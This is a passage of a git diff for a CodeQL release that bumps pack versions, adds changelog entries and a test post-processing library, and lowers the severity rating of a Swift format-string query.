a/shared/typetracking/codeql-pack.release.yml b/shared/typetracking/codeql-pack.release.yml index 08d5e959449..ce305265e33 100644 --- a/shared/typetracking/codeql-pack.release.yml +++ b/shared/typetracking/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.7 +lastReleaseVersion: 2.0.9 diff --git a/shared/typetracking/qlpack.yml b/shared/typetracking/qlpack.yml index eef6fe52e66..193e743290e 100644 --- a/shared/typetracking/qlpack.yml +++ b/shared/typetracking/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typetracking -version: 2.0.8-dev +version: 2.0.10-dev groups: shared library: true dependencies: diff --git a/shared/typos/CHANGELOG.md b/shared/typos/CHANGELOG.md index c7ff1a773da..62be8d62137 100644 --- a/shared/typos/CHANGELOG.md +++ b/shared/typos/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.24.md b/shared/typos/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/typos/change-notes/released/1.0.25.md b/shared/typos/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/typos/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/typos/codeql-pack.release.yml b/shared/typos/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/typos/codeql-pack.release.yml +++ b/shared/typos/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/typos/qlpack.yml b/shared/typos/qlpack.yml index 93833e02e66..205c84402c0 100644 --- a/shared/typos/qlpack.yml +++ b/shared/typos/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/typos -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/shared/util/CHANGELOG.md b/shared/util/CHANGELOG.md index f6f7838bc2e..e9eb55238ef 100644 --- a/shared/util/CHANGELOG.md +++ b/shared/util/CHANGELOG.md @@ -1,3 +1,11 @@ +## 2.0.12 + +No user-facing changes. + +## 2.0.11 + +No user-facing changes. + ## 2.0.10 No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.11.md b/shared/util/change-notes/released/2.0.11.md new file mode 100644 index 00000000000..b3d110bcba5 --- /dev/null +++ b/shared/util/change-notes/released/2.0.11.md @@ -0,0 +1,3 @@ +## 2.0.11 + +No user-facing changes. diff --git a/shared/util/change-notes/released/2.0.12.md b/shared/util/change-notes/released/2.0.12.md new file mode 100644 index 00000000000..c93809466de --- /dev/null +++ b/shared/util/change-notes/released/2.0.12.md @@ -0,0 +1,3 @@ +## 2.0.12 + +No user-facing changes. diff --git a/shared/util/codeql-pack.release.yml b/shared/util/codeql-pack.release.yml index 96ea0220a69..b856d9a13f2 100644 --- a/shared/util/codeql-pack.release.yml +++ b/shared/util/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 2.0.10 +lastReleaseVersion: 2.0.12 diff --git a/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll new file mode 100644 index 00000000000..2ebd2b45282 --- /dev/null +++ b/shared/util/codeql/util/test/ExternalLocationPostProcessing.qll @@ -0,0 +1,30 @@ +/** + * Provides logic for creating a `@kind test-postprocess` query that converts + * external locations to a special `{EXTERNAL LOCATION}` string. + * + * This is useful for writing tests that use real locations when executed in + * VS Code, but prevents the "Location is outside of test directory" warning + * when executed through `codeql test run`. + */ +module; + +external private predicate queryResults(string relation, int row, int column, string data); + +external private predicate queryRelations(string relation); + +private signature string getSourceLocationPrefixSig(); + +module Make { + query predicate results(string relation, int row, int column, string data) { + exists(string s | queryResults(relation, row, column, s) | + if + not s = "file://" + any(string suffix) or + s = "file://:0:0:0:0" or + s = getSourceLocationPrefix() + any(string suffix) + then data = s + else data = "{EXTERNAL LOCATION}" + ) + } + + query predicate resultRelations(string relation) { queryRelations(relation) } +} diff --git a/shared/util/codeql/util/test/InlineExpectationsTest.qll b/shared/util/codeql/util/test/InlineExpectationsTest.qll index 56ac6ea3227..fbbad8f25b7 100644 --- a/shared/util/codeql/util/test/InlineExpectationsTest.qll +++ b/shared/util/codeql/util/test/InlineExpectationsTest.qll @@ -627,11 +627,11 @@ private string mainResultSet() { result = ["#select", "problems"] } * to be matched. */ module TestPostProcessing { - external predicate queryResults(string relation, int row, int column, string data); + external private predicate queryResults(string relation, int row, int column, string data); - external predicate queryRelations(string relation); + external private predicate queryRelations(string relation); - external predicate queryMetadata(string key, string value); + external private predicate queryMetadata(string key, string value); private string getQueryId() { queryMetadata("id", result) } diff --git a/shared/util/qlpack.yml b/shared/util/qlpack.yml index e4cfbd97b6e..5ed3783fded 100644 --- a/shared/util/qlpack.yml +++ b/shared/util/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/util -version: 2.0.11-dev +version: 2.0.13-dev groups: shared library: true dependencies: null diff --git a/shared/xml/CHANGELOG.md b/shared/xml/CHANGELOG.md index bdb83dc8830..1af448dd16d 100644 --- a/shared/xml/CHANGELOG.md +++ b/shared/xml/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.24.md b/shared/xml/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/xml/change-notes/released/1.0.25.md b/shared/xml/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/xml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/xml/codeql-pack.release.yml b/shared/xml/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/xml/codeql-pack.release.yml +++ b/shared/xml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/xml/qlpack.yml b/shared/xml/qlpack.yml index 73910c05517..3c979618613 100644 --- a/shared/xml/qlpack.yml +++ b/shared/xml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/xml -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true dependencies: diff --git a/shared/yaml/CHANGELOG.md b/shared/yaml/CHANGELOG.md index 28ca258e0d5..7944d8a4a2f 100644 --- a/shared/yaml/CHANGELOG.md +++ b/shared/yaml/CHANGELOG.md @@ -1,3 +1,11 @@ +## 1.0.25 + +No user-facing changes. + +## 1.0.24 + +No user-facing changes. + ## 1.0.23 No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.24.md b/shared/yaml/change-notes/released/1.0.24.md new file mode 100644 index 00000000000..379b5e33657 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.24.md @@ -0,0 +1,3 @@ +## 1.0.24 + +No user-facing changes. diff --git a/shared/yaml/change-notes/released/1.0.25.md b/shared/yaml/change-notes/released/1.0.25.md new file mode 100644 index 00000000000..51ce67fd9b1 --- /dev/null +++ b/shared/yaml/change-notes/released/1.0.25.md @@ -0,0 +1,3 @@ +## 1.0.25 + +No user-facing changes. diff --git a/shared/yaml/codeql-pack.release.yml b/shared/yaml/codeql-pack.release.yml index 0f96ba41d16..a5a44030e85 100644 --- a/shared/yaml/codeql-pack.release.yml +++ b/shared/yaml/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.0.23 +lastReleaseVersion: 1.0.25 diff --git a/shared/yaml/qlpack.yml b/shared/yaml/qlpack.yml index dabb1a33505..4dad8cfd7f9 100644 --- a/shared/yaml/qlpack.yml +++ b/shared/yaml/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/yaml -version: 1.0.24-dev +version: 1.0.26-dev groups: shared library: true warnOnImplicitThis: true diff --git a/swift/ql/lib/CHANGELOG.md b/swift/ql/lib/CHANGELOG.md index 1c9326d76e8..bc63ecb86b4 100644 --- a/swift/ql/lib/CHANGELOG.md +++ b/swift/ql/lib/CHANGELOG.md @@ -1,3 +1,26 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. + +## 5.0.0 + +### Breaking Changes + +* Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. +* Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. +* Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` class from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. +* Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. +* Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library + ## 4.3.0 ### New Features diff --git a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md b/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md deleted file mode 100644 index aa3282d3326..00000000000 --- a/swift/ql/lib/change-notes/2025-05-14-type_value_expr_cfg.md +++ /dev/null @@ -1,4 +0,0 @@ ---- -category: minorAnalysis ---- -* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md b/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md deleted file mode 100644 index 19101e5b615..00000000000 --- a/swift/ql/lib/change-notes/2025-05-27-swift.6.1.1.md +++ /dev/null @@ -1,5 +0,0 @@ - ---- -category: minorAnalysis ---- -* Updated to allow analysis of Swift 6.1.1. diff --git a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md b/swift/ql/lib/change-notes/released/5.0.0.md similarity index 74% rename from swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md rename to swift/ql/lib/change-notes/released/5.0.0.md index 072e6bba5cd..7215a40e396 100644 --- a/swift/ql/lib/change-notes/2025-05-18-2025-May-outdated-deprecations.md +++ b/swift/ql/lib/change-notes/released/5.0.0.md @@ -1,6 +1,7 @@ ---- -category: breaking ---- +## 5.0.0 + +### Breaking Changes + * Deleted the deprecated `parseContent` predicate from the `ExternalFlow.qll`. * Deleted the deprecated `hasLocationInfo` predicate from the `DataFlowPublic.qll`. * Deleted the deprecated `SummaryComponent` class from the `FlowSummary.qll`. @@ -8,3 +9,8 @@ category: breaking * Deleted the deprecated `SummaryComponent` module from the `FlowSummary.qll`. * Deleted the deprecated `SummaryComponentStack` module from the `FlowSummary.qll`. * Deleted the deprecated `RequiredSummaryComponentStack` class from the `FlowSummary.qll`. + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.1. +* `TypeValueExpr` experimental AST leaf is now implemented in the control flow library diff --git a/swift/ql/lib/change-notes/released/5.0.1.md b/swift/ql/lib/change-notes/released/5.0.1.md new file mode 100644 index 00000000000..b27dae0871d --- /dev/null +++ b/swift/ql/lib/change-notes/released/5.0.1.md @@ -0,0 +1,5 @@ +## 5.0.1 + +### Minor Analysis Improvements + +* Updated to allow analysis of Swift 6.1.2. diff --git a/swift/ql/lib/codeql-pack.release.yml b/swift/ql/lib/codeql-pack.release.yml index c46c103a0bd..ae7df5e18b7 100644 --- a/swift/ql/lib/codeql-pack.release.yml +++ b/swift/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 4.3.0 +lastReleaseVersion: 5.0.1 diff --git a/swift/ql/lib/qlpack.yml b/swift/ql/lib/qlpack.yml index ebc4b83f267..68ce7d4f490 100644 --- a/swift/ql/lib/qlpack.yml +++ b/swift/ql/lib/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-all -version: 4.3.1-dev +version: 5.0.2-dev groups: swift extractor: swift dbscheme: swift.dbscheme diff --git a/swift/ql/src/CHANGELOG.md b/swift/ql/src/CHANGELOG.md index 7910cf095ce..54ed582d8d9 100644 --- a/swift/ql/src/CHANGELOG.md +++ b/swift/ql/src/CHANGELOG.md @@ -1,3 +1,13 @@ +## 1.1.5 + +No user-facing changes. + +## 1.1.4 + +### Minor Analysis Improvements + +* The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. + ## 1.1.3 No user-facing changes. diff --git a/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md b/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md new file mode 100644 index 00000000000..43be14dc8eb --- /dev/null +++ b/swift/ql/src/change-notes/2025-06-06-reduce-CWE-134-for-memory-safe-languages.md @@ -0,0 +1,4 @@ +--- +category: queryMetadata +--- +* Adjusts the `@security-severity` from 9.3 to 7.3 for `swift/uncontrolled-format-string` to align `CWE-134` severity for memory safe languages to better reflect their impact. \ No newline at end of file diff --git a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md b/swift/ql/src/change-notes/released/1.1.4.md similarity index 71% rename from swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md rename to swift/ql/src/change-notes/released/1.1.4.md index cc524d8c34d..2a8b2c9cda6 100644 --- a/swift/ql/src/change-notes/2025-05-16-hardcoded-credentials.md +++ b/swift/ql/src/change-notes/released/1.1.4.md @@ -1,4 +1,5 @@ ---- -category: minorAnalysis ---- +## 1.1.4 + +### Minor Analysis Improvements + * The queries `swift/hardcoded-key` and `swift/constant-password` have been removed from all query suites. diff --git a/swift/ql/src/change-notes/released/1.1.5.md b/swift/ql/src/change-notes/released/1.1.5.md new file mode 100644 index 00000000000..11a52a121d1 --- /dev/null +++ b/swift/ql/src/change-notes/released/1.1.5.md @@ -0,0 +1,3 @@ +## 1.1.5 + +No user-facing changes. diff --git a/swift/ql/src/codeql-pack.release.yml b/swift/ql/src/codeql-pack.release.yml index 35e710ab1bf..df39a9de059 100644 --- a/swift/ql/src/codeql-pack.release.yml +++ b/swift/ql/src/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 1.1.3 +lastReleaseVersion: 1.1.5 diff --git a/swift/ql/src/qlpack.yml b/swift/ql/src/qlpack.yml index 7f727988f7c..b5bf65254e8 100644 --- a/swift/ql/src/qlpack.yml +++ b/swift/ql/src/qlpack.yml @@ -1,5 +1,5 @@ name: codeql/swift-queries -version: 1.1.4-dev +version: 1.1.6-dev groups: - swift - queries diff --git a/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql b/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql index 7f6ea32341b..4376f0f4c0f 100644 --- a/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql +++ b/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql @@ -3,7 +3,7 @@ * @description Using external input in format strings can lead to exceptions or information leaks. * @kind path-problem * @problem.severity error - * @security-severity 9.3 + * @security-severity 7.3 * @precision high * @id swift/uncontrolled-format-string * @tags security diff --git a/swift/third_party/resources/resource-dir-linux.zip b/swift/third_party/resources/resource-dir-linux.zip index e09b73863e5..251b0ca7fb6 100644 --- a/swift/third_party/resources/resource-dir-linux.zip +++ b/swift/third_party/resources/resource-dir-linux.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:1e00a730a93b85a5ba478590218e1f769792ec56501977cc72d941101c5c3657 -size 293644020 +oid sha256:f6c681b4e1d92ad848d35bf75c41d3e33474d45ce5f270cd814d879ca8fe8511 +size 291469999 diff --git a/swift/third_party/resources/resource-dir-macos.zip b/swift/third_party/resources/resource-dir-macos.zip index aaacc64a9e8..678fb09a8b7 100644 --- a/swift/third_party/resources/resource-dir-macos.zip +++ b/swift/third_party/resources/resource-dir-macos.zip @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:84e34d6af45883fe6d0103c2f36bbff3069ac068e671cb62d0d01d16e087362d -size 595760699 +oid sha256:9a22d9a4563ea0ad0b5051a997850d425d61ba5219ac35e9994d9a2f40a82f42 +size 593013753 diff --git a/swift/third_party/resources/swift-prebuilt-linux.tar.zst b/swift/third_party/resources/swift-prebuilt-linux.tar.zst index 206ea6adb4d..6efea347586 100644 --- a/swift/third_party/resources/swift-prebuilt-linux.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-linux.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:31cba2387c7e1ce4e73743935b0db65ea69fccf5c07bd2b392fd6815f5dffca5 -size 124428345 +oid sha256:abc83ba5ca0c7009714593c3c875f29510597e470bac0722b3357a78880feee4 +size 124406561 diff --git a/swift/third_party/resources/swift-prebuilt-macos.tar.zst b/swift/third_party/resources/swift-prebuilt-macos.tar.zst index bcbc7aaf412..ca29f3ebd3f 100644 --- a/swift/third_party/resources/swift-prebuilt-macos.tar.zst +++ b/swift/third_party/resources/swift-prebuilt-macos.tar.zst @@ -1,3 +1,3 @@ version https://git-lfs.github.com/spec/v1 -oid sha256:2aaf6e7083c27a561d7212f88b3e15cbeb2bdf1d2363d310227d278937a4c2c9 -size 104357336 +oid sha256:417c018d9aea00f9e33b26a3853ae540388276e6e4d02ef81955b2794b3a6152 +size 104344626